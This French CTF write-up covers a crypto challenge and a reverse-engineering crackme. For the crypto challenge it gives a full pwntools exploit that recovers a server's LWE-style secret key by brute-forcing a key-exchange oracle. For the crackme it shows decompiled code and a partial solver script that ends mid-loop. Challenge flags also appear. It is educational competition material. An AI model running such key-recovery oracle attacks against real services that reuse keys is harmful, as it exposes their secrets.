>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
Input the associated tag hash:
>>> 3baec174ae8d9af05f83650b377f49d51b8ebb3a97cfc147cc81eaab043d3dc3
Input the associated tag nonce:
>>> 0000000100020001000200010002000300040005                        
Congrats!! Here is the flag: FCSC{529d5fb1ea316b2627c16190060af9f70dc420438afa7e8eb71d144a54a0}
```


# Merry (crypto, 500)

## Description du challenge

```
Un serveur a été conçu pour utiliser un algorithme d'échange de clés avec ses clients. Cet algorithme génère et garde le même bi-clé pour plusieurs requêtes. Il notifie aussi ses clients quand l'échange a échoué et que la clé partagée n'est pas la même. Votre but est de retrouver la clé secrète du bi-clé généré par le serveur.

Service : nc challenges1.france-cybersecurity-challenge.fr 2001

Note : La version de Python utilisée par le serveur est 3.5.3 (default, Sep 27 2018, 17:25:39) [GCC 6.3.0 20170516]
```

## Solution

Le challenge a pour tag *post-quantum* mais il ne faut pas se laisser impressionner, aucune connaissance en crytographie quantique n'est nécessaire pour résoudre ce challenge. Il faut juste savoir faire du calcul matriciel de base 😃

Voici le code du serveur :

```python
import sys
import numpy as np
from flag import flag
from zlib import compress, decompress
from base64 import b64encode as b64e, b64decode as b64d

class Server:
    def __init__(self, q, n, n_bar, m_bar):
        self.q     = q
        self.n     = n
        self.n_bar = n_bar
        self.m_bar = m_bar
        self.__S_a = np.matrix(np.random.randint(-1, 2, size = (self.n, self.n_bar)))
        self.__E_a = np.matrix(np.random.randint(-1, 2, size = (self.n, self.n_bar)))
        self.A     = np.matrix(np.random.randint( 0, q, size = (self.n, self.n)))
        self.B     = np.mod(self.A * self.__S_a + self.__E_a, self.q)

    ### Private methods
    def __decode(self, mat):
        def recenter(x):
            if x > self.q // 2:
                return x - self.q
            else:
                return x

        def mult_and_round(x):
            return round((x / (self.q / 4)))

        out = np.vectorize(recenter)(mat)
        out = np.vectorize(mult_and_round)(out)
        return out

    def __decaps(self, U, C):
        key_a = self.__decode(np.mod(C - np.dot(U, self.__S_a), self.q))
        return key_a

    ### Public methods
    def pk(self):
        return self.A, self.B

    def check_exchange(self, U, C, key_b):
        key_a = self.__decaps(U, C)
        return (key_a == key_b).all()

    def check_sk(self, S_a, E_a):
        return (S_a == self.__S_a).all() and (E_a == self.__E_a).all()

def menu():
    print("Possible actions:")
    print("  [1] Key exchange")
    print("  [2] Get flag")
    print("  [3] Exit")
    return int(input(">>> "))

if __name__ == "__main__":

    q     = 2 ** 11
    n     = 280
    n_bar = 4
    m_bar = 4

    server = Server(q, n, n_bar, m_bar)

    A, B = server.pk()
    print("Here are the server public parameters:")
    print("A = {}".format(b64e(compress(A.tobytes())).decode()))
    print("B = {}".format(b64e(compress(B.tobytes())).decode()))

    nbQueries = 0
    while True:
        try:
            choice = menu()
            if choice == 1:
                nbQueries += 1
                print("Key exchange #{}".format(nbQueries), file = sys.stderr)
                U     = np.reshape(np.frombuffer(decompress(b64d(input("U = "))), dtype = np.int64), (m_bar, n))
                C     = np.reshape(np.frombuffer(decompress(b64d(input("C = "))), dtype = np.int64), (m_bar, n_bar))
                key_b = np.reshape(np.frombuffer(decompress(b64d(input("key_b = "))), dtype = np.int64), (m_bar, n_bar))

                if server.check_exchange(U, C, key_b):
                    print("Success, the server and the client share the same key!")
                else:
                    print("Failure.")

            elif choice == 2:
                S_a = np.reshape(np.frombuffer(decompress(b64d(input("S_a = "))), dtype = np.int64), (n, n_bar))
                E_a = np.reshape(np.frombuffer(decompress(b64d(input("E_a = "))), dtype = np.int64), (n, n_bar))

                if server.check_sk(S_a, E_a):
                    print("Correct key, congratulations! Here is the flag: {}".format(flag))
                else:
                    print("Sorry, this is not the correct key.")
                    print("Bye bye.")
                    exit(1)

            elif choice == 3:
                print("Bye bye.")
                break

        except:
            pass
```

L'idée est que l'on peut demander autant de fois que l'on veut au serveur un "key exchange", qui est un oracle à réponse binaire. Le but du challenge est de déterminer deux paramètres privés $$S\_a$$ et $$E\_a$$.

A l'initialisation, le serveur pose $$q = 2^{11}$$, $$n = 280$$, $$n\_{bar} = m\_{bar} = 4$$ et génère deux clés privées $$S\_a$$ et $$E\_a$$ à valeurs dans $${-1,0,1}$$ (oui, 2 est exclu, le randint de numpy n'agit pas comme le randint vanilla... !!). $$S\_a$$ et $$E\_a$$ sont de dimensions $$(n, n\_{bar})$$.

Enfin, $$A$$ et $$B$$ sont deux matrices publiques. $$A$$ est générée aléatoirement à valeurs dans $${0, :..., : q}$$ et est de taille $$(n, n)$$ ; $$B$$ satisfait la relation suivante :

$$B := (A S\_a + E\_a) : \mod{q}$$

Étudions maintenant *check\_exchange*. Le serveur nous demande $$U$$, une matrice $$(m\_{bar}, n)$$, $$C$$, une matrice $$(m\_{bar}, n\_{bar})$$, et $$\text{key}*b$$, une matrice aussi $$(m*{bar}, n\_{bar})$$.

Il vérifie alors si :

$$\text{decode}((C - U S\_a) \mod{q}) = \text{key}\_b$$

*decode* est une fonction qui recentre les valeurs de la matrice autour de 0 (pour qu'elles passent entre $$-q/2$$ et $$q/2$$ environ) puis les divise par $$q/4$$ et les arrondit, ce qui donne une matrice à valeurs dans $${-2, -1, 0, 1, 2}$$.

Si l'on arrive à retrouver $$S\_a$$, il sera aisé de calculer $$E\_a$$. Alors comment choisir les paramètres pour faire fuiter de l'information sur $$S\_a$$ ?

Ma solution (il y a certainement plusieurs techniques) est de poser $$C = 0$$ et de choisir $$U = \lambda E\_{1, j}$$, où $$\lambda$$ est un coefficient entier à paramétrer et $$E\_{i,j}$$ sont les matrices de la base canonique (des zéros partout, sauf un 1 en $$(i, j)$$).

Ainsi, on aura :

$$C - U S\_a = -U S\_a = -\lambda E\_{1, j} S\_a = \begin{bmatrix} & -\lambda S\_{a, j} & \ & 0 & \ & 0 & \ & 0 & \end{bmatrix} \in \mathcal{M}\_{4, 4}({ 0, :..., : q - 1}) : \mod{q}$$

où $$S\_{a, j}$$ est la *j*-ème ligne de $$S\_a$$ (qui contient 4 valeurs entre -1 et 1).

Les valeurs subissant dans *decode* la division par $$q/4$$, on voit l'importance du facteur $$\lambda$$. En effet, sans, les coefficients $$0$$ et $$1$$ de la matrice obtenue se feraient arrondir à 0 et on ne pourrait plus les distinguer.

Je pose maintenant $$\lambda = q/4 = 512$$ qui donne des résultats intéressants. En effet, en raisonnant coefficient par coefficient dans la matrice, on a, en partant d'un coefficient de $$S\_{a,j}$$ :

* $$0$$ reste $$0$$, est recentré en $$0$$ et est arrondi à $$0$$
* $$1$$ devient $$-512 \equiv 1536:\mod{q}$$, est recentré en $$-512$$ et est arrondi à $$-1$$
* $$-1$$ devient $$512$$, est recentré en $$512$$ et est arrondi à $$1$$

Il suffit donc de prendre l'opposé du résultat pour obtenir la valeur d'origine. Il ne reste plus qu'à challenger l'oracle en brute-forçant toutes les matrices $$4 \times 4$$ dont la première ligne est à valeurs dans $${-1, 0, 1}$$ (donc $$3^4 = 81$$ requêtes dans le pire cas) jusqu'à ce qu'on nous réponde succès, ce qui nous permet d'identifier une ligne de $$S\_a$$.

On répète cela $$n = 280$$ fois (soit $$22680$$ requêtes dans le pire cas) et on a réussi à déterminer $$S\_a$$. Il ne reste plus qu'à utiliser :

$$E\_a \equiv B - A S\_a : \mod{q}$$

et à soumettre la réponse $$(S\_a, :E\_a)$$ au serveur.

Voici l'exploit :

```python
from pwn import *
import numpy as np
from zlib import compress, decompress
from base64 import b64encode as b64e, b64decode as b64d
from itertools import product

q = 2 ** 11
n = 280
n_bar = 4

LAMBDA = 512

s = remote('challenges1.france-cybersecurity-challenge.fr', 2001)

msg = s.recvuntil(b'Possible actions')
s.recv(1024)

A = msg.split(b'A = ')[1].split(b'\n')[0]
B = msg.split(b'B = ')[1].split(b'\n')[0]

A = np.reshape(np.frombuffer(decompress(b64d(A)), dtype = np.int64), (n, n))
B = np.reshape(np.frombuffer(decompress(b64d(B)), dtype = np.int64), (n, n_bar))

__S_a = np.zeros((n, n_bar), dtype = np.int64)

s.send(b'1\n')

for k in range(n):
  U = np.zeros((n_bar, n), dtype = np.int64)
  C = np.zeros((n_bar, n_bar), dtype = np.int64)

  U[0][k] = LAMBDA

  U = b64e(compress(U.tobytes()))
  C = b64e(compress(C.tobytes()))

  for c in product([-1, 0, 1], repeat=n_bar):
    CMP = np.zeros((n_bar, n_bar), dtype = np.int64)
    for i in range(n_bar):
      CMP[0][i] = c[i]
    CMP = b64e(compress(CMP.tobytes()))

    s.recv(1024)
    s.send(U + b'\n')

    s.recv(1024)
    s.send(C + b'\n')

    s.recv(1024)
    s.send(CMP + b'\n')

    msg = s.recv(1024)
    s.send(b'1\n')

    if b'Success' in msg:
      break

  for i in range(n_bar):
    __S_a[k][i] = -c[i]

  print("[+] Ligne %s: %s" % (k, repr(__S_a[k])))  

__E_a = np.mod(B - np.dot(A, __S_a), q)

def t(x):
  if x == q - 1:
    return -1
  return x

__S_a = b64e(compress(np.vectorize(t)(__S_a).tobytes()))
__E_a = b64e(compress(np.vectorize(t)(__E_a).tobytes()))

print(__S_a)
print(__E_a)

s.interactive()
s.close()
```

L'exploit est un peu long, il y a peut-être moyen de faire plus court en répartissant un peu plus l'information à travers les requêtes mais cette méthode est suffisante donc je n'ai pas cherché.

La séquelle de cette épreuve, *Pippin*, se résolvait de façon exactement similaire, mais il fallait remarquer que $$S\_a$$ avait sur chaque ligne exactement 2 "0", 1 "1" et 1 "-1", ce qui réduit les possibilités et permet de passer en dessous de 3000 requêtes.

Enjoy !


# SSEcret (reverse, 500)

## Description du challenge

```
Trouvez le secret qui affichera le flag.
```

## Solution

Un autre crackme très sympathique et à rebondissements.

```
╭─face0xff@aniesu-chan /den/ctf/fcsc  
╰─$ ./ssecret.bin abc 
[1]    10875 segmentation fault (core dumped)  ./ssecret.bin abc
╭─face0xff@aniesu-chan /den/ctf/fcsc  
╰─$ ./ssecret.bin abcd
╭─face0xff@aniesu-chan /den/ctf/fcsc  
╰─$ ./ssecret.bin abcde
[1]    10890 segmentation fault (core dumped)  ./ssecret.bin abcde
╭─face0xff@aniesu-chan /den/ctf/fcsc  
╰─$ ./ssecret.bin abcdef   
[1]    10898 segmentation fault (core dumped)  ./ssecret.bin abcdef
╭─face0xff@aniesu-chan /den/ctf/fcsc  
╰─$ ./ssecret.bin abcdef
g[1]    10906 segmentation fault (core dumped)  ./ssecret.bin abcdef
╭─face0xff@aniesu-chan /den/ctf/fcsc  
╰─$ ./ssecret.bin abcdefg
[1]    10923 segmentation fault (core dumped)  ./ssecret.bin abcdefg
╭─face0xff@aniesu-chan /den/ctf/fcsc  
╰─$ ./ssecret.bin abcdefgh
```

Étonnant, le binaire semble segfault lorsque l'entrée n'est pas de longueur multiple de 4. Sinon, il n'affiche juste rien. Le but est donc de lui faire cracher le flag. Sans plus attendre, laissons place à Ghidra. Quelques variables ont été renommées pour la lisibilité :

```c
undefined8 main(int argc,undefined8 *argv)

{
  char cVar1;
  undefined8 uVar2;
  ulong uVar3;
  char *pcVar4;
  long in_FS_OFFSET;
  undefined8 local_18;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  if (argc == 2) {
    uVar3 = 0xffffffffffffffff;
    pcVar4 = (char *)argv[1];
    do {
      if (uVar3 == 0) break;
      uVar3 = uVar3 - 1;
      cVar1 = *pcVar4;
      pcVar4 = pcVar4 + 1;
    } while (cVar1 != 0);
    uVar2 = FUN_00400860((char *)argv[1],~uVar3 - 1,&local_18);
    FUN_00601050(uVar2,local_18);
  }
  else {
    __printf_chk(1,"Usage: %s <secret>\n",*argv);
  }
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
```

La fonction *main* calcule la longueur de notre argument et appelle la fonction `FUN_00400860`. Je passe sur les détails parce que ce n'est pas la partie intéressante ; cette fonction décode notre entrée comme de la **base64**, renvoie son adresse et stocke sa taille en octets une fois décodée dans `local_18`.

La fonction `FUN_00601050` est appelée avec l'adresse de notre mot de passe décodé et sa longueur.

```c
void FUN_00601050(undefined auParm1 [16],undefined *puParm2,long lParm3)

{
  int iVar1;
  undefined8 uVar2;
  ulong uVar3;
  undefined *puVar4;
  undefined8 uVar5;
  ulong uVar6;
  undefined4 uVar7;
  undefined auVar8 [16];
  undefined auVar9 [16];
  undefined auVar10 [16];
  undefined auVar11 [16];
  undefined auVar12 [16];
  undefined auVar13 [16];
  long lVar14;

  puVar4 = (undefined *)0x603c50;
  if (0xf < lParm3) {
                    /* WARNING: Load size is inaccurate */
    auParm1 = *(undefined *)puParm2;
    auVar9 = pinsrq(ZEXT816(0),0x8000000000000000,1);
    auVar8 = pinsrq(ZEXT816(0xdcd26c8c431d185),0x9cbf4b9eb8ff5fd5,1);
    uVar2 = vmovq_avx(auVar8 & auParm1);
    uVar5 = vpextrq_avx(auVar8 & auParm1,1);
    uVar3 = popcnt(uVar2);
    uVar6 = popcnt(uVar5);
    auVar8 = (undefined  [16])0x0;
    if ((uVar3 & 1) != (uVar6 & 1)) {
      auVar8 = auVar9;
    }
    auVar10 = psrlq(auVar9,1);
    auVar9 = pinsrq(ZEXT816(0xeffb0f6af6379591),0xf79a5f5f0cc2a086,1);
    uVar2 = vmovq_avx(auVar9 & auParm1);
    uVar5 = vpextrq_avx(auVar9 & auParm1,1);
    uVar3 = popcnt(uVar2);
    uVar6 = popcnt(uVar5);
    if ((uVar3 & 1) != (uVar6 & 1)) {
      auVar8 = auVar8 ^ auVar10;
    }
    auVar10 = psrlq(auVar10,1);
    auVar9 = pinsrq(ZEXT816(0xa066690c6259f360),0xed5861bedc01ac55,1);
    uVar2 = vmovq_avx(auVar9 & auParm1);
    uVar5 = vpextrq_avx(auVar9 & auParm1,1);
    uVar3 = popcnt(uVar2);
    uVar6 = popcnt(uVar5);
    if ((uVar3 & 1) != (uVar6 & 1)) {
      auVar8 = auVar8 ^ auVar10;
    }
    auVar10 = psrlq(auVar10,1);
    auVar9 = pinsrq(ZEXT816(0x95b3ec4628105ece),0x9332a77e095bc150,1);
    uVar2 = vmovq_avx(auVar9 & auParm1);
    uVar5 = vpextrq_avx(auVar9 & auParm1,1);
    uVar3 = popcnt(uVar2);
    uVar6 = popcnt(uVar5);
    if ((uVar3 & 1) != (uVar6 & 1)) {
      auVar8 = auVar8 ^ auVar10;
    }
    auVar10 = psrlq(auVar10,1);
    auVar9 = pinsrq(ZEXT816(0x6fc606493188abf3),0xc801ea2bcfa14908,1);
    uVar2 = vmovq_avx(auVar9 & auParm1);
    uVar5 = vpextrq_avx(auVar9 & auParm1,1);
    uVar3 = popcnt(uVar2);
    uVar6 = popcnt(uVar5);
    if ((uVar3 & 1) != (uVar6 & 1)) {
      auVar8 = auVar8 ^ auVar10;
    }
    auVar10 = psrlq(auVar10,1);
    auVar9 = pinsrq(ZEXT816(0xd6783f0c8ae2a13c),0xae0cf5cf140ff887,1);
    uVar2 = vmovq_avx(auVar9 & auParm1);
    uVar5 = vpextrq_avx(auVar9 & auParm1,1);
    uVar3 = popcnt(uVar2);
    uVar6 = popcnt(uVar5);
    if ((uVar3 & 1) != (uVar6 & 1)) {
      auVar8 = auVar8 ^ auVar10;
    }

    [...]

    auVar10 = psrlq(auVar10,1);
    auVar9 = pinsrq(ZEXT816(0xfe949c491cf37734),0xc4d08f025d93925e,1);
    uVar2 = vmovq_avx(auVar9 & auParm1);
    uVar5 = vpextrq_avx(auVar9 & auParm1,1);
    uVar3 = popcnt(uVar2);
    uVar6 = popcnt(uVar5);
    if ((uVar3 & 1) != (uVar6 & 1)) {
      auVar8 = auVar8 ^ auVar10;
    }
    psrlq(auVar10,1);
    auVar9 = pinsrq(ZEXT816(0xf72389798f7ca4f4),0x62e9eed78a671820,1);
    iVar1 = vpmovmskb_avx(CONCAT412(-(uint)(SUB164(auVar8 >> 0x60,0) == SUB164(auVar9 >> 0x60,0)),
                                    CONCAT48(-(uint)(SUB164(auVar8 >> 0x40,0) ==
                                                    SUB164(auVar9 >> 0x40,0)),
                                             CONCAT44(-(uint)(SUB164(auVar8 >> 0x20,0) ==
                                                             SUB164(auVar9 >> 0x20,0)),
                                                      -(uint)(SUB164(auVar8,0) == SUB164(auVar9,0)))
                                            )));
    if (iVar1 == 0xffff) goto LAB_006039f3;
  }
  syscall();
LAB_006039f3:
  auVar8 = (undefined  [16])0x0;
  do {
    auVar9 = aeskeygenassist(auParm1,1);
    uVar7 = SUB164(auVar9 >> 0x60,0);
    auVar9 = pslldq(auParm1,4);
    auVar10 = pslldq(auVar9,4);
    auVar11 = pslldq(auVar10,4);
    auVar9 = auParm1 ^ auVar9 ^ auVar10 ^ auVar11 ^
             CONCAT412(uVar7,CONCAT48(uVar7,CONCAT44(uVar7,uVar7)));
    auVar13 = aesenc(auVar8 ^ auParm1,auVar9);
    auVar10 = aeskeygenassist(auVar9,2);
    uVar7 = SUB164(auVar10 >> 0x60,0);
    auVar10 = pslldq(auVar9,4);
    auVar11 = pslldq(auVar10,4);
    auVar12 = pslldq(auVar11,4);
    auVar9 = auVar9 ^ auVar10 ^ auVar11 ^ auVar12 ^
             CONCAT412(uVar7,CONCAT48(uVar7,CONCAT44(uVar7,uVar7)));
    auVar13 = aesenc(auVar13,auVar9);
    auVar10 = aeskeygenassist(auVar9,4);
    uVar7 = SUB164(auVar10 >> 0x60,0);
    auVar10 = pslldq(auVar9,4);
    auVar11 = pslldq(auVar10,4);
    auVar12 = pslldq(auVar11,4);
    auVar9 = auVar9 ^ auVar10 ^ auVar11 ^ auVar12 ^
             CONCAT412(uVar7,CONCAT48(uVar7,CONCAT44(uVar7,uVar7)));
    auVar13 = aesenc(auVar13,auVar9);
    auVar10 = aeskeygenassist(auVar9,8);
    uVar7 = SUB164(auVar10 >> 0x60,0);
    auVar10 = pslldq(auVar9,4);
    auVar11 = pslldq(auVar10,4);
    auVar12 = pslldq(auVar11,4);
    auVar9 = auVar9 ^ auVar10 ^ auVar11 ^ auVar12 ^
             CONCAT412(uVar7,CONCAT48(uVar7,CONCAT44(uVar7,uVar7)));
    auVar13 = aesenc(auVar13,auVar9);
    auVar10 = aeskeygenassist(auVar9,0x10);
    uVar7 = SUB164(auVar10 >> 0x60,0);
    auVar10 = pslldq(auVar9,4);
    auVar11 = pslldq(auVar10,4);
    auVar12 = pslldq(auVar11,4);
    auVar9 = auVar9 ^ auVar10 ^ auVar11 ^ auVar12 ^
             CONCAT412(uVar7,CONCAT48(uVar7,CONCAT44(uVar7,uVar7)));
    auVar13 = aesenc(auVar13,auVar9);
    auVar10 = aeskeygenassist(auVar9,0x20);
    uVar7 = SUB164(auVar10 >> 0x60,0);
    auVar10 = pslldq(auVar9,4);
    auVar11 = pslldq(auVar10,4);
    auVar12 = pslldq(auVar11,4);
    auVar9 = auVar9 ^ auVar10 ^ auVar11 ^ auVar12 ^
             CONCAT412(uVar7,CONCAT48(uVar7,CONCAT44(uVar7,uVar7)));
    auVar13 = aesenc(auVar13,auVar9);
    auVar10 = aeskeygenassist(auVar9,0x40);
    uVar7 = SUB164(auVar10 >> 0x60,0);
    auVar10 = pslldq(auVar9,4);
    auVar11 = pslldq(auVar10,4);
    auVar12 = pslldq(auVar11,4);
    auVar9 = auVar9 ^ auVar10 ^ auVar11 ^ auVar12 ^
             CONCAT412(uVar7,CONCAT48(uVar7,CONCAT44(uVar7,uVar7)));
    auVar13 = aesenc(auVar13,auVar9);
    auVar10 = aeskeygenassist(auVar9,0x80);
    uVar7 = SUB164(auVar10 >> 0x60,0);
    auVar10 = pslldq(auVar9,4);
    auVar11 = pslldq(auVar10,4);
    auVar12 = pslldq(auVar11,4);
    auVar9 = auVar9 ^ auVar10 ^ auVar11 ^ auVar12 ^
             CONCAT412(uVar7,CONCAT48(uVar7,CONCAT44(uVar7,uVar7)));
    auVar13 = aesenc(auVar13,auVar9);
    auVar10 = aeskeygenassist(auVar9,0x1b);
    uVar7 = SUB164(auVar10 >> 0x60,0);
    auVar10 = pslldq(auVar9,4);
    auVar11 = pslldq(auVar10,4);
    auVar12 = pslldq(auVar11,4);
    auVar9 = auVar9 ^ auVar10 ^ auVar11 ^ auVar12 ^
             CONCAT412(uVar7,CONCAT48(uVar7,CONCAT44(uVar7,uVar7)));
    auVar13 = aesenc(auVar13,auVar9);
    auVar10 = aeskeygenassist(auVar9,0x36);
    uVar7 = SUB164(auVar10 >> 0x60,0);
    auVar10 = pslldq(auVar9,4);
    auVar11 = pslldq(auVar10,4);
    auVar12 = pslldq(auVar11,4);
    auVar9 = aesenclast(auVar13,auVar9 ^ auVar10 ^ auVar11 ^ auVar12 ^
                                CONCAT412(uVar7,CONCAT48(uVar7,CONCAT44(uVar7,uVar7))));
                    /* WARNING: Load size is inaccurate */
                    /* WARNING: Store size is inaccurate */
    *(undefined *)puVar4 = *(undefined *)puVar4 ^ auVar9;
    lVar14 = SUB168(auVar8,0) + 1;
    puVar4 = puVar4 + 0x10;
    iVar1 = vpmovmskb_avx(CONCAT412(-(uint)(SUB164(auVar8 >> 0x60,0) == 0),
                                    CONCAT48(-(uint)(SUB164(auVar8 >> 0x40,0) == 0),
                                             CONCAT44(-(uint)((int)((ulong)lVar14 >> 0x20) == 0),
                                                      -(uint)((int)lVar14 == 0x2c0)))));
    auVar8 = CONCAT88(SUB168(auVar8 >> 0x40,0),lVar14);
  } while (iVar1 != 0xffff);
  return;
}
```

J'ai grandement élagué le code pour pas que ce soit trop lourd. La structure de la fonction est la suivante :

* On vérifie que notre mot de passe fait au moins 16 octets
* 128 blocs très similaires qui font des calculs à l'aide de notre entrée et de constantes 128 bits
* Une vérification à la fin de tous ces blocs (juste avant le *syscall*) mettant aussi en jeu une constante 128 bits
* Si la vérification est passée, alors une routine semble déchiffrer quelque chose à l'aide de notre mot de passe, qui agit comme une clé AES 128 bits.

Après un moment sous IDA à suivre l'exécution du programme en analysant assidument les registres XMM, on arrive à reconstituer la logique suivante.

```c
auParm1 = *(undefined *)puParm2;
auVar9 = pinsrq(ZEXT816(0),0x8000000000000000,1);
auVar8 = pinsrq(ZEXT816(0xdcd26c8c431d185),0x9cbf4b9eb8ff5fd5,1);
uVar2 = vmovq_avx(auVar8 & auParm1);
uVar5 = vpextrq_avx(auVar8 & auParm1,1);
uVar3 = popcnt(uVar2);
uVar6 = popcnt(uVar5);
auVar8 = (undefined  [16])0x0;
if ((uVar3 & 1) != (uVar6 & 1)) {
  auVar8 = auVar9;
}
```

Ce premier bloc vient charger auVar9 avec la valeur 0x80000000000000000000000000000000. C'est une initialisation que l'on ne retrouve plus dans les blocs suivants ; à la place, on y retrouvera à chaque fois un décalage de 1 bit vers la droite, autrement dit à l'itération *i* cette variable vaudra l'entier binaire 128 bits qui possède un unique 1 en *i*-ème position (de poids fort à poids faible).

Il charge ensuite auVar8 avec une constante 128 bits, ici 85 D1 31 C4 C8 26 CD 0D D5 5F FF B8 9E 4B BF 9C (telle qu'affichée dans le débugger d'IDA, en **little-endian**).

auParm1 contient les 16 premiers octets de notre entrée, vus comme un entier 128 bits. Un *ET logique* est effectué entre notre entrée et la constante formée. Enfin, la fonction `popcnt` permet de compter le nombre de bits à 1 dans un registre. Cela est fait en deux étapes à travers les registres 64 bits, mais la finalité est la même : si le *XOR* (ou l'addition des bits modulo 2...) des bits constituant le résultat du ET logique vaut 1, alors on rentre dans le *if*, qui va initialiser auVar8 à auVar9.

Le contenu de ce *if* fait probablement plus de sens dans les blocs suivants :

```c
if ((uVar3 & 1) != (uVar6 & 1)) {
  auVar8 = auVar8 ^ auVar10;
}
```

auVar8 est XORé avec auVar10, ce qui est équivalent à mettre le *i*-ème bit à 1 dans auVar8.

Ainsi, le résultat de ces 128 blocs est la formation d'un entier 128 bits *c* tel que c\[i] est la somme modulo 2 des bits de (key & a\[i]), où *a* est la *i*-ème constante magique.

Le dernier bloc (le "129ème") est un peu illisible avec les CONCAT et les SUB de Ghidra et est plus clair en assembleur :

```
                     LAB_006039ae                                    XREF[1]:     006039a8(j)  
006039ae 66 0f 73        PSRLQ      XMM2,0x1
         d2 01
006039b3 48 b8 f4        MOV        RAX,-0x8dc768670835b0c ; 0xf72389798f7ca4f4
         a4 7c 8f 
         79 89 23 f7
006039bd 48 bb 20        MOV        RBX,0x62e9eed78a671820
         18 67 8a 
         d7 ee e9 62
006039c7 66 48 0f        MOVQ       XMM4,RAX
         6e e0
006039cc 66 48 0f        PINSRQ     XMM4,RBX,0x1
         3a 22 e3 01
006039d3 66 0f 76 dc     PCMPEQD    XMM3,XMM4
006039d7 48 31 c0        XOR        RAX,RAX
006039da c5 f9 d7 c3     VPMOVMSKB  EAX,XMM3
006039de 35 ff ff        XOR        EAX,0xffff
         00 00
006039e3 85 c0           TEST       EAX,EAX
006039e5 74 0c           JZ         LAB_006039f3
                     LAB_006039e7                                    XREF[1]:     00601064(j)  
006039e7 48 c7 c0        MOV        RAX,0x3c
         3c 00 00 00
006039ee 48 31 ff        XOR        RDI,RDI
006039f1 0f 05           SYSCALL
```

A l'aide de PCMPEQD, on compare deux registres XMM, à savoir celui contenant *c* et une constante chargée, ici F4 A4 ... E9 62.

Bien ! Il ne reste plus qu'à reformuler ça mathématiquement (le chall a le tag "maths" après tout, même si ça reste assez léger à mon sens 🧐). Chaque bloc peut être reformulé de la façon suivante :

$$\langle : a\_i : | : x : \rangle \equiv c\_i : \mod{2}$$

où $$x$$ est l'inconnue (notre password), $$(a\_i)*{0 \leq i \lt 128}$$ les constantes magiques et $$(c\_i)*{0 \leq i \lt 128}$$ les bits de la valeur magique de comparaison finale. $$x$$ et $$(a\_i)$$ sont des vecteurs 128 bits qui codent l'entier qu'ils représentent.

On a 128 équations de ce genre, que l'on peut donc reformuler globalement ainsi :

$$Ax \equiv C : \mod{2}$$

où $$A$$ est la matrice de bits dont les lignes sont les $$a\_i$$, et $$C$$ le vecteur colonne des $$c\_i$$.

Cette équation se résout en trois lignes de Sage :

```python
R = IntegerModRing(2)
M = Matrix(R, [...])
b = vector(R, [...])
print(M.solve_right(b))
```

Il ne reste plus qu'à coder un petit script pour parser le code afin de récupérer toutes les valeurs magiques et c'est gagné !

Je passe les détails : on trouve une solution, on la décodé en binaire puis ré-encode en base64 et on obtient `eqFUxbL2zNoSFXuPo3P64A==`. On la passe au binaire pour obtenir le flag :

```
╭─face0xff@aniesu-chan /den/ctf/fcsc  
╰─$ ./ssecret.bin eqFUxbL2zNoSFXuPo3P64A==
╭─face0xff@aniesu-chan /den/ctf/fcsc  
╰─$
```

Mince... que s'est-il passé ?

On lance IDA et on débug pour voir pourquoi ça n'a pas marché. On se rend compte qu'en fait si, ça a marché ; la condition est bien passée et on n'a pas emprunté le *syscall* exit. On rentre dans la routine de déchiffrement AES et là on commence à voir venir la couille...

La routine AES déchiffre un **nouveau bloc de code** du programme et va jump dessus. Pas très grave me direz vous, il suffit d'analyser ce que fait ce nouveau bloc de code, éventuellement trouver la façon dont est générée le flag sur le passage et c'est plié.

Sauf que le bloc de code généré ressemble **exactement** à la fonction principale initiale, aux constantes magiques près. Ce nouveau code utilise les 16 prochains octets de notre mot de passe.

On effectue un rapide calcul, et on se rend compte qu'il y a en fait environ 127 blocs de code obfusqué de même longueur que la première fonction dans le binaire, soit au total 128 problèmes de ce type à résoudre. Il va falloir scripter intelligemment... !

Je passe sur les détails, il s'agit de parser le binaire directement pour récupérer les valeurs magiques, résoudre l'équation matricielle, utiliser le morceau de clé trouvé pour déchiffrer le prochain bloc de code et répéter. Les difficultés principales résidaient dans le parsing correct du binaire (j'ai passé beaucoup de temps à débugger une regex erronnée) et dans la compréhension de la routine de déchiffrement, qui est certes du AES classique, mais il faut bien identifier ce qu'on chiffre avec quelle clé à chaque itération. Il s'agissait en fait d'AES en mode CTR (avec le compteur "canonique" si je puis dire).

```python
import re, struct
from Crypto.Cipher import AES
from binascii import hexlify as tohex, unhexlify as unhex
from base64 import b64encode
from os import system

def bin_array(b):
  B = []
  for j in range(len(b)):
    for i in range(8):
      B.append((b[j] >> (7 - i)) & 1)
  return B

def from_bin(s):
  q = ''.join(c for c in s if c in '01')
  return bytes([int(q[i:i + 8], 2) for i in range(0, len(q), 8)])

class Counter(object):
  def __init__(self):
    self.c = 0

  def counter(self):
    v = struct.pack('<Q', self.c % 2 ** 64) + struct.pack('<Q', (self.c >> 64) % (2 ** 64))
    self.c += 1
    return v

f = open('ssecret.bin', 'rb').read()[0x1050:]
f = [f[i:i + 0x2c00] for i in range(0, len(f), 0x2c00)][:128]

secret = b''

for k in range(128):

  blob = f[k]
  print(blob[:100])
  blob = re.split(rb'[\x22\x73][\xd3\xd2]\x01\x48\xb8', blob)[1:]
  res = bin_array(blob[-1][:8] + blob[-1][10:10 + 8])

  A = []
  C = []
  j = 0
  for b in blob[:-1]:
    if b.startswith(b'\x00\x00\x00\x00\x00\x00\x00\x80'):
      continue
    A.append(bin_array(b[:8] + b[10:10 + 8]))
    C.append(res[127 - (7 - (j % 8)) - 8 * (j // 8)])
    j += 1

  # Ax = C mod 2
  # Sage script generation
  with open('ssecret.sage', 'w') as sagefile:
    sagefile.write("""R = IntegerModRing(2)
M = Matrix(R, %s)
b = vector(R, %s)
print(M.solve_right(b))""" % (repr(A), repr(C)))

  system("sage ssecret.sage > ssecret.sage.sol")

  with open('ssecret.sage.sol', 'r') as sol:
    sage_output = sol.read()

  key = from_bin(sage_output)

  secret += key
